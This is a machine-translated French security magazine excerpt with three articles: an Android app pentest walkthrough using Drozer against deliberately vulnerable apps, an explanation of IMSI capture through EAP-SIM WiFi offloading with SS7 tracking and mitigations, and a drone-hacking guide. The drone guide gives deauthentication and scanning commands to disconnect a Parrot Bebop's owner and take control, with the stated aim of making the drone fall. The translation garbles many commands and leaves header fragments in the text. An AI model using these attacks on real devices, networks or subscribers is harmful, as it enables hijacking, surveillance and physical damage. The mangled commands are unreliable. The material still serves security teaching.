Vous êtes sur la page 1sur 36

Test de l'application mobile Android

et des fichiers de ressources dans un APK: un package Android, qui est un fichier d'archive avec un suffixe .apk. Un fichier APK contient tout le

contenu d'une application Android et est le fichier que les appareils Android utilisent pour installer l'application.

Un APK file est une archive qui contient généralement les répertoires suivants:

➡ AndroidManifest.xml: Le fichier AndroidManifest.xml est le fichier de contrôle qui indique au système quoi faire avec

tous les composants de premier niveau (en particulier les activités, les services, les récepteurs de diffusion et les fournisseurs

de contenu décrits ci-dessous) dans une application. Cela spécifie également les autorisations requises. Ce fichier peut être

en XML binaire Android qui peut être converti en XML en clair lisible par l'homme avec des outils tels que android-apktool.

➡ Répertoire META-INF:

o MANIFEST.MF: le fichier manifeste

o CERT.RSA: Le certificat de l'application.

o CERT.SF: La liste des ressources et le résumé SHA-1 des lignes correspondantes dans le fichier MANIFEST.MF.

➡ lib: Le répertoire contenant le code compilé qui est spécifique à une couche logicielle d'un processeur, le répertoire est

divisé en plusieurs répertoires à l'intérieur:

o armeabi: code compilé pour tous les processeurs basés sur ARM uniquement

o armeabi-v7a: code compilé pour tous les processeurs ARMv7 et supérieurs uniquement

o x86: code compilé pour X86

o mips: code compilé pour les processeurs MIPS uniquement

34
Test de l'application mobile Android

➡ res: Le répertoire contenant les ressources non compilées dans resources.arsc (voir ci-dessous).

➡ les atouts: Un répertoire contenant l'application ' s actifs, qui peuvent être récupérés par AssetManager.

➡ classes.dex: Les classes compilées au format de fichier dex compréhensible par la machine virtuelle Dalvik.

➡ resources.arsc: Un fichier contenant des ressources précompilées, telles que du XML binaire, par exemple.

Composants de l'application sont les éléments de base essentiels d'une application Android. Chaque composant est un point différent par

lequel le système peut accéder à votre application. Tous les composants ne sont pas de véritables points d'entrée pour l'utilisateur et certains

dépendent les uns des autres, mais chacun existe en tant qu'entité propre et joue un rôle spécifique. Chacun est un élément de base unique qui

permet de définir le comportement général de votre application. Vous pouvez ignorer le contenu ci-dessous si vous les connaissez déjà. Une

application comprend les quatre composants suivants:

Fournisseur de contenu

• Le composant Content Provider fournit des données d'une application à d'autres sur demande.

• Vous pouvez stocker les données dans le système de fichiers, une base de données SQLite, sur le Web ou dans tout autre emplacement de stockage persistant auquel votre

application peut accéder.

• Par le biais du fournisseur de contenu, d'autres applications peuvent interroger ou même modifier les données (si le fournisseur de contenu le permet).

• Le fournisseur de contenu est utile dans les cas où une application souhaite partager des données avec une autre application.

• Il est très similaire aux bases de données et comporte quatre méthodes:

o insérer()

o mettre à jour()

o effacer()

o mettre en doute()

Activité

Pour être simple, une activité représente un seul écran avec une interface utilisateur. Par exemple, une activité pour la connexion et une autre

activité après la connexion réussie. Une nouvelle activité est créée pour chaque nouvel écran. je vais discuter en savoir plus plus tard en cas de

besoin.

35
Test de l'application mobile Android

Prestations de service

• Un service est un composant qui s'exécute en arrière-plan pour effectuer des opérations de longue durée ou pour effectuer des travaux pour

des processus distants.

• Un service ne fournit pas d'interface utilisateur, aucun des composants, comme une activité, ne peut démarrer le service et le laisser

s'exécuter ou s'y lier afin d'interagir avec lui.

• Par exemple, un service peut lire de la musique en arrière-plan pendant que l'utilisateur se trouve dans une autre application, ou il peut

récupérer des données sur le réseau sans bloquer l'interaction de l'utilisateur avec une activité.

Récepteur de diffusion

• Un récepteur de diffusion est un composant qui répond aux annonces de diffusion à l'échelle du système.

• De nombreuses émissions proviennent du système - par exemple, une émission annonçant que l'écran s'est éteint, que la batterie
est faible ou qu'une photo a été capturée.

• Les applications peuvent également lancer des diffusions, par exemple, pour informer d'autres applications que certaines données ont été téléchargées sur

l'appareil et qu'elles sont disponibles pour leur utilisation.

• Bien que les récepteurs de diffusion n'affichent pas d'interface utilisateur, ils peuvent créer une notification de barre d'état pour alerter l'utilisateur

lorsqu'un événement de diffusion se produit.

• Plus communément, cependant, un récepteur de diffusion n'est qu'une «passerelle» vers d'autres composants et est
destiné à effectuer un travail très minimal. Par exemple, il peut lancer un service pour effectuer un travail basé sur

l'événement.

• Une application peut enregistrer un récepteur pour le message de batterie faible, par exemple, et modifier son comportement sur la base de

ces informations.

Activation des composants

• Trois des quatre types de composants (activités, services et récepteurs de diffusion) sont activés par un
message asynchrone appelé intention.

• Les intentions lient des composants individuels entre eux au moment de l'exécution (vous pouvez les considérer comme les messagers

qui demandent une action à d'autres composants), que le composant appartienne à votre application ou à une autre.

• Dans le prochain article, nous utiliserons Drozer qui utilise des intentions pour présenter les vulnérabilités.

36
Test de l'application mobile Android

Fonctionnalités de sécurité des applications par système d'exploitation Android

PermissionModel d'Android

Par défaut, il existe des API protégées dans le système d'exploitation Android qui ne sont accessibles que par le système
d'exploitation. Les API protégées comprennent:

• Fonctions de la caméra

• Données de localisation (GPS)

• Fonctions Bluetooth

• Fonctions de téléphonie

• Fonctions SMS / MMS

• Connexions réseau / données

Vous trouverez ci-dessous la boîte de dialogue d'autorisation lors de l'installation de la célèbre application de réseautage social Facebook.

37
Test de l'application mobile Android

Avant de vous lancer dans la bataille, vous devez connaître vos arsenaux:

➡ Distributions de test Android:

o Appie: Un progiciel portable pour Android Pentesting et une excellente alternative à l'existant
v Machines virtuelles.

o AndroidTamer: C'est un virtuel / l ive p latform pour les professionnels de la sécurité Android.

o AppUse: AppUse est une VM développée par AppSec Labs.

o Santoku: Santoku est un système d'exploitation et peut être exécuté en dehors d'une machine virtuelle en tant que système d'exploitation autonome.

➡ Ingénierie inverse et analyse statique:

o APKInspector: C'est un puissant outil d'interface graphique pour les analystes analyser A applications ndroid.

o APKTool: Un outil de rétro-ingénierie d'applications Android binaires, fermées et tierces. Il peut décoder les ressources dans leur forme

presque originale et les reconstruire après avoir apporté quelques modifications.

o De2Jar: Un outil pour convertir des fichiers .dex en fichiers .class (compressés sous forme de jar).

o JD-GUI: Un outil pour décompiler et analyser le code Java.

➡ Dynamique et Durée Analyse:

o Introspy-Android: Outil Blackbox pour aider à comprendre ce qu'une application Android fait au moment de l'exécution et

aider à identifier les problèmes de sécurité potentiels.

o DroidBox: DroidBox est développé pour offrir une analyse dynamique des applications Android.

o Drozer: Drozer vous permet de rechercher des vulnérabilités de sécurité dans les applications et les appareils en assumant le rôle d'une application et

en interagissant avec la VM Dalvik, les points de terminaison IPC d'autres applications et le système d'exploitation sous-jacent.

➡ Analyse du réseau et test côté serveur:

o TcpDump: Un utilitaire de capture de paquets en ligne de commande.

o Wireshark: Un analyseur de paquets open-source.

o Suite Burp: Burp Suite est une plate-forme intégrée pour effectuer des tests de sécurité des applications.

38
Test de l'application mobile Android

➡ Contournement de la détection de racine et de l'épinglage SSL

o Tueur de confiance SSL Android - Outil Blackbox pour contourner l'épinglage de certificat SSL pour la plupart des applications

exécutées sur un appareil.

o [Android-ssl-bypass] ( https://github.com/iSECPartners/android-ssl-bypass ) - Un outil de débogage Android qui peut être

utilisé pour contourner SSL, même lorsque l'épinglage de certificat est implémenté, ainsi que pour d'autres tâches de

débogage. L'outil fonctionne comme une console interactive.

o RootCoak Plus - Corrigez la vérification de la racine pour les indications connues de racine.

Commençons les tests; pendant la période de test de pénétration, nous utiliserons GennyMotion, Santoku, Drozer, etc. Vous pouvez

télécharger ce logiciel à partir de leurs sites respectifs. Commençons par la toute première étape dans laquelle nous allons connecter

notre émulateur à Santoku.

➡ Exécutez Santoku et ouvrez le terminal et tapez:

o Adresse IP adb connect ( Adresse IP de l'émulateur)

39
Test de l'application mobile Android

➡À l'étape suivante, vérifiez si l'appareil est connecté ou non. Taper -

o appareils adb, il nous donnera la liste des appareils connectés

➡ Installez le fichier apk Drozer dans l'émulateur, vous pouvez simplement faire glisser et déposer le fichier dans l'émulateur ou vous pouvez installer

il via Santoku. Définissez le chemin du fichier et saisissez:

o installation adb nom de fichier drozer.apk

➡ Après avoir installé Drozer, définissez le mot de passe dans la console Drozer et activez ssl.

40
Test de l'application mobile Android

➡ Après cela, activez le commutateur Drozer et tapez la commande suivante pour la connexion

o adb forward tcp: 31415 tcp: 31415

➡ Après cela, exécutez Drozer, tapez la commande dans le terminal

o connexion de la console drozer

41
Test de l'application mobile Android

➡ Ici, je vais démontrer avec quelques applications vulnérables comme OWASP GoatDroid, InsecureBankv2, etc.

➡ Installez d'abord l'application vulnérable catch.

o adb installer InsecureBankv2.apk

➡ Récupérons d'abord le nom du package, de l'application de test.

o exécuter app.package.list -f InsecureBankv2

➡ Taper exécuter l'application. et appuyez sur le bouton TAB, il affichera les autres contenus

➡ Tapez simplement list dans la console Drozer et il listera tous les modules préinstallés avec Drozer.

42
Test de l'application mobile Android

➡ Vous pouvez utiliser -aider passez à l'un des modules ci-dessus pour en savoir plus sur la fonctionnalité de celui-ci

module particulier

o Par example, exécutez app.package.info --help affichera

43
Test de l'application mobile Android

➡ Récupérer les informations du package, tapez

o exécutez app.package.info -a com.android.insecurebankv2 ( Nom du paquet)

44
Test de l'application mobile Android

➡ Maintenant, nous allons essayer d'identifier la surface d'attaque de l'application, tapez:

o exécutez app.package.attacksurface com.android.insecurebankv2

➡ Essayons d'inverser le fichier .apk avec APKTool, comme je l'ai déjà mentionné que APKTool pour le reverse engineering, 3e

fête, applications binaires fermées. Après avoir exécuté cela, il créera un dossier dans le même répertoire avec des fichiers décompilés.

o apktool d InsecureBankv2.apk ( Nom de l'APK)

45
Test de l'application mobile Android

➡ Dex2jar est principalement utilisé pour convertir un fichier APK en un fichier jar contenant du code source reconstruit. dex2jar

nomfichier.apk La commande convertira le fichier APK en fichier jar.

o dex2jar InsecureBankv2.apk

➡ Utilisation de JD-GUI:

o Ci-dessus, nous avons converti le fichier APK en fichier jar.

o Vous pouvez maintenant ouvrir ce fichier jar dans JD-GUI et afficher ce code source reconstruit.

o Premier type jd- gui dans le terminal Santoku, il ouvrira JD-GUI.

➡ Essayons d'exploiter certaines activités Android, tapez:

o exécutez app.activity.info -a com.android.insecurebankv2 (nom du package) -u

46
Test de l'application mobile Android

➡ Choisissez des activités actives

o exécutez app.activity.start --component com.android.insecurebankv2

com.android.insecurebankv2.DoTransfer (Nom de l'activité)

➡ Ouvrez le décrypté AndroidManifest.xml déposer. La capture d'écran suivante montre l'activité qui doit être

exploited est configuré pour être exporté.

➡ De retour sur l'émulateur, notez que la page de connexion a été contournée.

➡ ADB Shell: Adb fournit un shell UNIX que vous pouvez utiliser pour exécuter une variété de commandes sur un émulateur ou

appareil connecté. Dans le terminal, vous pouvez utiliser toutes les commandes adb.

o shell adb

47
Test de l'application mobile Android

➡ Taper dumpsys meminfo - Tous les détails du processus

➡ Si vous souhaitez vérifier le processus pour une application particulière, saisissez dumpsys meminfo

nom de l'application.apk

48
Test de l'application mobile Android

➡ Allons-y avec la fonctionnalité de sauvegarde Android, vous pouvez vérifier la même chose dans le fichier manifest.xml. Autoriser la sauvegarde et

le mode de débogage doit être faux en application.

➡ Ce paramètre définit si les données d'application peuvent être sauvegardées et restaurées par un utilisateur qui a activé USB

débogage. En type de terminal

o sauvegarde adb -apk -shared com.android.insecurebankv2

➡ Entrez la commande ci-dessous pour convertir le fichier de sauvegarde dans un format lisible.

o cat backup.ab | (dd bs = 24 comptage = 0 saut = 1; chat) | zlib-flate -uncompress>

backup_compressed.tar

➡ Nous allons maintenant essayer d'exploiter les récepteurs de diffusion.

o Ouvrez le décrypté AndroidManifest.xml déposer. La capture d'écran suivante montre la diffusion

récepteur déclaré dans la demande.

49
Test de l'application mobile Android

➡ runapp. diffuser . envoyer - - actionle roadcast B - - composant

com.android.insecurebankv2.MyBroadCastReceiver - numéro de téléphone de chaîne supplémentaire 45245


- - chaîne supplémentaire newpass abc @ 123

➡ Maintenant, nous allons attaquer les fournisseurs de contenu de l'application Android, en cela je vais utiliser un autre

application vulnérable nommée Sieve. Commençons:

o exécutez app.package.attacksurface com.mwr.example.sieve

➡ Comme nous pouvons le voir, nous avons deux fournisseurs de contenu, vérifions:

o exécutez app.provider.finduri com.mwr.example.sieve

50
Test de l'application mobile Android

➡ Donc en utilisant app.provider.finduri module, nous avons trouvé certains des URI des fournisseurs de contenu exportés

accessible par d'autres applications installées sur le même appareil. Comme nous pouvons le voir, nous avons deux URI similaires; essayons de

voir quelles informations juteuses sont cachées dans ces fournisseurs de contenu.

o exécuter app.provider.query content: //com.mwr.example.sieve.DBContentProvider/keys

➡ Essayons d'exploiter ces fournisseurs de contenu

o exécutez app.provider.query
content: //com.mwr.example.sieve.DBContentProvider/keys/ --selection "pin = 1234"
--string password "impassword55555"

➡ Exploiter Android Pasteboard: connectez-vous à l'application avec des informations d'identification valides. Cliquez sur l'option Transférer.

➡ Sélectionnez le champ du numéro de compte et sélectionnez l'option de copie.

51
Test de l'application mobile Android

➡ Maintenant, de retour sur le terminal, entrez la commande ci-dessous pour connaître les détails du processus de InsecureBankv2 en cours d'exécution

application. Notez l'utilisateur et le nom du package de l'application InsecureBankv2.Application.

o adb shell ps | grep insecurebankv2

➡ Entrez la commande ci-dessous:

o adb shell su u0_a58 appel de service presse-papiers 2 s16 com.android.insecurebankv2

➡ Vérifions la journalisation non sécurisée:

o en type de terminal: adb logcat et cela démarrera le service

52
Test de l'application mobile Android

Je vais vous montrer la journalisation non sécurisée via l'application vulnérable DIVA. Le but est de savoir où les informations saisies par

l'utilisateur sont enregistrées et le code qui les rend vulnérables. Il est courant que les applications Android enregistrent des informations

sensibles dans logcat. Voyons donc si cette application enregistre les données dans logcat. Vérifiez vos journaux après le paiement.

Pour les tests de validation côté client, vous pouvez vous référer à Norme OWASP Mobile 2016 .

53
Test de l'application mobile Android

Les références:

● https://github.com/bemre/MobileApp-Pentest-Cheatsheet

● https://github.com/OWASP/owasp-mstg

● https://manifestsecurity.com/android-application-security/

54
Ching Over

s: Exposer
oading
A PROPOS DE L'AUTEUR

Loay Abdelrazek
Loay Abdelrazek est dans le domaine de la sécurité depuis environ plus de

trois ans, un chercheur en sécurité et un passionné se concentrant sur le

domaine de la sécurité des télécommunications dans le but de fournir de

meilleures solutions pratiques au secteur des télécommunications pour

améliorer encore la sécurité de leur

infrastructure, que ce soit au niveau de la couche d'équipement utilisateur, de la

couche d'accès, de la couche centrale et des interconnexions des opérateurs de

télécommunications. Également intéressé par les solutions de sécurité open source.


Capturer IMSI sur les réseaux WIFI: exposer le déchargement WIFI

introduction

Les capteurs IMSI (International Mobile Subscriber Identity) sont largement connus dans les réseaux mobiles 3G comme un dispositif malveillant

permettant d'intercepter et d'écouter le trafic mobile et de suivre les utilisateurs, considérés comme un type d'attaques man-in-the-middle. Ce

type d'attaque a également été déclenché dans les réseaux wifi.

Réseaux Wifi fonctionnant sur les protocoles 2G-4G, mieux connus sous le nom de Déchargement Wifi, est un concept émergent adopté par les

opérateurs mobiles depuis plusieurs années pour soulager les réseaux de données mobiles encombrés avec une capacité supplémentaire du Wi

sans licence F i spectre.

L'architecture de déchargement Wifi repose fortement sur l'infrastructure de l'opérateur mobile car les utilisateurs sont authentifiés via leurs

cartes SIM / (U) SIM en tant que mécanisme d'authentification mobile 3GPP défini normalement.

L'architecture des solutions de déchargement wifi se compose principalement du point d'accès sans fil auquel l'utilisateur se connecte et dépend

de l'infrastructure de base de l'opérateur qui est responsable de l'authentification, à l'aide d'un serveur AAA basé sur EAP qui est connecté au

registre de localisation du domicile de l'opérateur, connu sous le nom de HLR. (HLR est la base de données de l'opérateur qui est responsable de

stocker les détails de chaque abonné autorisé), un WLC (contrôleur WLAN) qui agit comme un DHCP et loue une adresse IP, et le GGSN (GPRS

Gateway Serving Node) qui agit comme une passerelle vers le l'Internet. Le diagramme ci-dessous donne une vue de haut niveau sur la façon

dont l'architecture de déchargement wifi dépend beaucoup des mêmes nœuds de base que la 3G / 4G.

Fig 1. Architecture de déchargement WiFi

Flux de trafic

Le flux de trafic séquentiel pour l'équipement utilisateur (UE) sur un réseau wifi 3G / 4G est décrit comme suit:

1. L'abonné associé au SSID.

57
Capturer IMSI sur les réseaux WIFI: exposer le déchargement WIFI

2. Demande 802.1x EAP-SIM / AKA à AP. WLC envoie

3. une demande d'authentification RADIUS.

4. Le serveur AAA vérifie les informations d'identification SIM avec HLR en utilisant MAP sur le

5. réseau SS7. Après une authentification réussie, WLC loue une adresse IP à l'abonné. Le trafic des

6. abonnés est désormais dirigé vers le GGSN pour avoir accès à Internet.

Vulnérabilité d'authentification lors du déchargement WIFI

EAP est un protocole d'authentification extensible, qui peut être utilisé pour créer de nouveaux types de protocoles d'authentification pour

Radius. EAP-SIM / AKA sont l'un de ces nouveaux types d'authentification couramment utilisés dans les WLAN.

EAP-SIM / AKA sont conçus pour être utilisés avec les systèmes d'authentification GSM / 3GPP existants (AuC, HLR / HSS) et les cartes SIM /

USIM. Les normes EAP-SIM / AKA permettent aux utilisateurs WLAN de authentifier accès aux réseaux sans fil à l'aide de cartes SIM

mobiles.

Fig 2. Procédure d'authentification de haut niveau (Source: Réseaux Cisco)

La figure ci-dessus montre un aperçu de la procédure d'authentification. L'UE communique avec un serveur EAP situé sur un
serveur d'authentification utilisant AAA.

La première requête EAP émise par l'authentificateur (serveur EAP) est Demande EAP / Identité. Lors de l'authentification complète,

les UE Réponse EAP / Identité inclut l'IMSI.

Les abonnés GSM sont identifiés par IMSI. le IMSI est une chaîne de 15 chiffres au maximum. Il est composé d'un code de
pays mobile (MCC) à trois chiffres, d'un code de réseau mobile (MNC) à deux ou trois chiffres et d'un numéro d'identification
d'abonné mobile (MSIN) ne dépassant pas 10 chiffres.

58
Capturer IMSI sur les réseaux WIFI: exposer le déchargement WIFI

Fig 3. Structure IMSI

La vulnérabilité trouvée dans ce mécanisme d'authentification est que l'identité de l'utilisateur est transportée dans effacer le texte lors de la

première connexion serveur-UE AAA, ce qui rend toute personne à proximité du point d'accès capable de écoute passivement et attrape le IMSI des

utilisateurs attachés. C'est un vulnérabilité dans l'impl ementation de cette architecture chez les opérateurs mobiles, et de la manière dont

l'EAP-SIM a été normalisé, comme indiqué par l'EAP-SIM RFC4186, la méthode de confidentialité de l'identité de l'utilisateur utilisée pour

l'authentification est une méthode facultative, c'est à l'opérateur de le mettre en œuvre ou non.

Le critique il y d'exposer le les abonnés IMSI est qu'il s'agit de l'attribut principal des réseaux mobiles utilisé pour diverses opérations, sans se

limiter à ce qui suit: authentification des abonnés, routage des appels, identification de l'emplacement, routage des SMS, routage des données,

facturation, modifications du profil d'abonnement de l'abonné, et bien d'autres . Ainsi, exposer l'IMSI d'un abonné peut avoir un impact grave sur

la vie privée de l'utilisateur car il pourrait être utilisé dans des attaques de type "man-in-the-middle", le suivi de localisation et la fraude. L'impact

n'affecte pas uniquement la vie privée de l'utilisateur, mais les opérateurs eux-mêmes ; Des attaques DDoS pourraient être lancées sur le les

opérateurs infrastructure utilisant d'autres techniques complémentaires, tout cela résultant de l'exposition d'un seul élément de données , mais

critique, l'IMSI.

Exploiter l'EAP-SIM

Cette preuve de concept était r u n sur l'un des opérateurs de son réseau WiFi 3G. Contrairement aux capteurs GSM IMSI bien connus, mieux connus pour

les raies pastenagues, les méthodes utilisées pour exploiter cette vulnérabilité sont assez simple, il pourrait être exploité en utilisant un adaptateur wifi,

c'est-à-dire TP-Link 722N, ou les adaptateurs intégrés de l'ordinateur portable pourraient faire le travail, ne serait-ce que pour des attaques passives.

Le vecteur d'attaque passive de cette vulnérabilité se produit si un attaquant exécute un renifleur wifi , capture l'interaction initiale

et observe l'IMSI transporté dans le PAE initial / la réponse dans le AT_INDETITY attribut . T L'IMSI sera également vu si la

ré-authentification rapide échoue et si l'authentification complète se produit à nouveau.

Fig 4 .Wifi IMSI Catcher

59
Capturer IMSI sur les réseaux WIFI: exposer le déchargement WIFI

Comme le montre le paquet ci-dessus, il s'agit d'une réponse de paquet EAP et d'une identité de type comme indiqué dans l'attribut de

code (2) et l'attribut d'identité (1), respectivement, dans la couche EAP du paquet. Le dernier attribut de cette couche est l'identité utilisée

par l'UE, dans ce cas, c'est l'IMSI qui prend la forme suivante:

1602xxxxxxxxxxxx@wlan.mncxx.mcc602.3gppnetwork.org.

Lorsque IMSI est utilisé comme identifiant, le premier chiffre est «1» suivi du code du pays (MCC: 602, Egypte) suivi des 2-3
chiffres du code opérateur (MNC), suivis des chiffres MSIN.

Ce qui rend ce type d'attaque extrêmement critique, c'est que les techniques de piratage sans fil normales pourraient être

facilement adoptées, après tout, il s'agit d'une communication sans fil pure héritant de toutes ses caractéristiques entre l'UE et le

point d'accès sans fil. Ainsi, même si un utilisateur est attaché au SSID, l'attaquant pourrait envoyer un simple paquet de

désauthentification qui forcera l'UE à se réauthentifier en envoyant à nouveau son IMSI.

Cette attaque pourrait être réalisée même si l'attaquant n'est pas à proximité d'un SSID wifi 3G / 4G, l'attaquant peut surveiller les paquets

de diffusion en direct. Par défaut, l'UE enverra des demandes de sonde aux SSID stockés dans leur liste préférée sur les combinés, il y a

donc une probabilité d'identifier facilement les utilisateurs et de configurer un point d'accès non autorisé pour accepter la demande, puis

de créer un paquet EAP pour demander l'identité de l'utilisateur, qui est, dans ce cas, l'IMSI.

Impact de l'attaque

Les attaquants ne se concentrent jamais sur une seule technique ou méthodologie d'attaque, mais la complètent avec toutes les techniques disponibles

et pertinentes. Comme mentionné précédemment, les conséquences de l'exposition de l'IMSI pourraient être utilisées pour d'autres attaques, telles que

le suivi de localisation, l'interception, etc. Avec les nouveaux vecteurs d'attaque émergents sur l'infrastructure et les protocoles de télécommunications,

cela pourrait être réalisé en utilisant la vulnérabilité du protocole SS7.

Le suivi de l'emplacement peut être réalisé en utilisant l'IMSI comme paramètre du message MAP-provideSubsciberInfo comme

décrit ci-dessous:

60
Capturer IMSI sur les réseaux WIFI: exposer le déchargement WIFI

Fig 5. Utilisation de SS7 pour suivre l'emplacement via IMSI

Lors de l'envoi de la demande provideSubscriberInfo au MSC / VLR de l'opérateur qui est chargé de stocker temporairement

l'emplacement de l'utilisateur, la réponse comprendra, mais sans s'y limiter, les informations importantes suivantes:

• ID de cellule

• Localisation GPS (si disponible)

• IMEI (numéro de série matériel) du combiné

Avec ces informations, le GPS et l'ID de cellule pourraient être recherchés dans une base de données d'ID de cellule open source, comme

(opencellid.org), connaissant ainsi l'emplacement exact de la cible où qu'elle se trouve. Connaître l'IMEI révélera le fournisseur exact du

combiné, donnant à l'attaquant la possibilité de personnaliser un logiciel malveillant dédié pour ce fournisseur spécifique.

Atténuation

EAP-SIM inclut une prise en charge facultative de la confidentialité de l'identité (anonymat) qui peut être utilisée pour masquer l'identité

permanente en texte clair et rendre ainsi les échanges EAP de l'abonné inaccessibles aux écoutes indiscrètes. Parce que l'identité

permanente ne change jamais, la révéler aiderait les observateurs à suivre l'utilisateur.

La confidentialité de l'identité est basée sur des identités temporaires, ou pseudonymes, créées par le serveur EAP, qui
sont équivalentes mais distinctes des identités temporaires d'abonné mobile (TMSI) utilisées sur les réseaux cellulaires.

Le serveur EAP transmet le pseudonyme noms d'utilisateur au pair dans le chiffrement, en utilisant le AT_ENCR_DATA attribut dans le

Demande EAP / SIM / Challenge après la première authentification complète. Lors d'une première authentification complète réussie, et les

données cryptées comprennent un pseudonyme de nom d'utilisateur, alors l'homologue peut utiliser le pseudonyme de nom d'utilisateur obtenu

lors de l'authentification complète suivante. Le serveur EAP détient un mappage entre l'IMSI et ses pseudonymes correspondants. Il est

également recommandé d'utiliser ce pseudonyme pour l'authentification rapide.

61
Capturer IMSI sur les réseaux WIFI: exposer le déchargement WIFI

Comme indiqué dans la section sur l'exploitation, des techniques de piratage sans fil pourraient être adoptées en même temps que la

configuration d'un point d'accès non autorisé. T Cela devrait être résolu par les opérateurs qui imposent l'utilisation d'EAP-AKA au lieu

d'EAP-SIM. Par standard, le mécanisme d'authentification AKA est adopté pour l'authentification 3G à l'aide des cartes USIM, qui

garantissent une authentification mutuelle, contrairement à EAP-SIM, non seulement le réseau authentifiera l'abonné, mais l'abonné

pourra authentifier le réseau lui-même pour s'assurer c'est son opérateur en résolvant un défi.

Sécuriser l'utilisateur ' s identité avec la configuration des pseudonymes sur les opérateurs mobiles des serveurs EAP et l'utilisation de

l'authentification mutuelle implémentée dans EAP-AKA garantira la confidentialité des les abonnés contre les attaques émergentes contre les

utilisateurs mobiles.

62
King Era:
Le piratage

s
ujillo
A PROPOS DE L'AUTEUR

CarlosManzo Trujillo
Carlos Manzo Trujillo a grandi à Mexico (bienvenue dans la jungle) et a fréquenté la

faculté d'ingénierie de l'Universidad Nacional Autonoma de Mexico.

Il a passé quinze ans à travailler (esclavage) dans différentes entreprises (comme SAMSUNG et

MICROSOFT) où il a été récompensé par de nombreux prix de performance TOP. Après avoir

déménagé à Sardina, en Italie, (parce qu'il était amoureux d'une magnifique fille italienne) et

travaillé brièvement en tant que chef d'équipe de développement pour NAD (il avait une cabine) et

consultant pour le Parlement international pour la sécurité et la paix, et non- groupe de profit

fondé pour la défense et la protection de la paix pour tous les peuples du monde, et pour la

sécurité de chaque nation (il n'avait même pas de cabine), il a (enfin) terminé son premier article

informatique (qu'il avait été écrit pendant son «temps libre» pendant les trois derniers mois).

Il vit actuellement en Sardaigne (dans la même ville où il s'est marié - à quel point est-ce bizarre - rien

d'étrange du tout - et où il se sent maintenant comme s'il s'intègre) avec sa charmante femme et sa

jeune fille.
Nouvelle ère de piratage: le piratage sans fil par des drones

Drone Hack (défensif)

Le marché mondial des drones commerciaux devrait atteindre 1,8 milliard de dollars américains d'ici 2020, en raison de l'utilisation croissante

des véhicules aériens sans pilote (UAV) dans l'exécution de tâches à haut risque et de l'importance croissante des drones en tant que service

(DaaS). La demande croissante d'imagerie aérienne supérieure, de télédétection, de surveillance aérienne, de développement de capteurs

avancés, d'améliorations de la vitesse de calcul et de capacités de traitement de données améliorées stimulent l'utilisation des drones dans les

applications commerciales. La maturité technologique et la baisse des prix de ces systèmes élargissent les opportunités de marché dans un large

éventail d'applications commerciales telles que:

• Agriculture de précision

• Construction et inspection

• Sécurité publique et FRO (opérations des premiers intervenants)

• Cartographie et levé

Ceci est un guide sur la défense, en particulier le Parrot Bebop Drone - une fois sorti de la boîte, il n'a pas de méthode de cryptage

ou d'authentification, donc il laisse le drone vulnérable à piratage sans fil. N'oubliez pas que si le drone est mis à jour, certaines

fonctions de sécurité peuvent être modifiées.

Dans ce guide, je déconnecterai l'utilisateur d'origine du drone. Cela peut permettre à tout autre appareil de se connecter au
drone et de le contrôler. De plus, je me connecterai au drone via Kali Linux, et télécharger la vidéo capturée par le drone.
Ensuite, je montrerai comment télécharger des fichiers par-dessus des fichiers de drone, avant de me connecter via telnet et
de forcer le drone à s'éteindre et à tomber du ciel.

65
Nouvelle ère de piratage: le piratage sans fil par des drones

FreeFlight Pro vous permet désormais de piloter des drones Parrot Bebop, Parrot Bebop 2 et Parrot Disco.

Nous devons exécuter ces commandes:

root @ kali : # airmon-ng start [interface]

root @ kali : # airmon-ng check kill

root @ kali : # airmon-ng check [interface]

Démarre un fichier de capture:

root @ kali : # airodump-ng -c [#] --bssid [AP MAC] -w [emplacement / nom du fichier] [interface]

66
Nouvelle ère de piratage: le piratage sans fil par des drones

(Remarque: - w dans la commande précédente est facultative car il n'est pas nécessaire d'écrire la capture dans un fichier)

Pour désauthentifier définitivement la cible:

root @ kali : # aireplay-ng -0 0 -a [AP MAC] [VIC MAC] [interface]

root @ kali : # ifcon fi g (trouvez votre IP)

Connectez-vous maintenant à votre cible avec votre téléphone pour contrôler le drone.

Utilisateur d'origine:

67
Nouvelle ère de piratage: le piratage sans fil par des drones

Nous:

Maintenant, j'ai le contrôle du drone. À ce stade, je peux poursuivre la procédure FTP. Ces services de rk
sauvegarde, et ne sont pas nécessaires tant que vous n'avez pas placé votre carte dans le moniteur

root @ kal i: # airmon-ng stop wlan1mon

root @ kali : # service NetworkManager start

Connectez le drone à votre ordinateur¹.

¹ Ces étapes peuvent également être accomplies via des machines Windows.

68
Nouvelle ère de piratage: le piratage sans fil par des drones

Rien avec netdiscover.

root @ kali : # netdiscover

Nous allons maintenant exécuter une analyse ping des périphériques 1-254. Je suppose que seul le sous-réseau changera d'une personne à l'autre.

Cependant, copiez l'adresse IP que vous avez obtenue et assurez-vous que le dernier octect est 1 à 254. Cela devrait répertorier tous les appareils

connectés au drone. Nous sommes intéressés par l'hôte se terminant par 1.

root @ kali : # nmap -sn [XXX1-254]

Maintenant, nous exécutons une analyse sur la cible… et FTP est en place! Il n'y a plus de Telnet, il semble aussi y avoir une page Web.

root @ kali : # nmap [xxx1]

69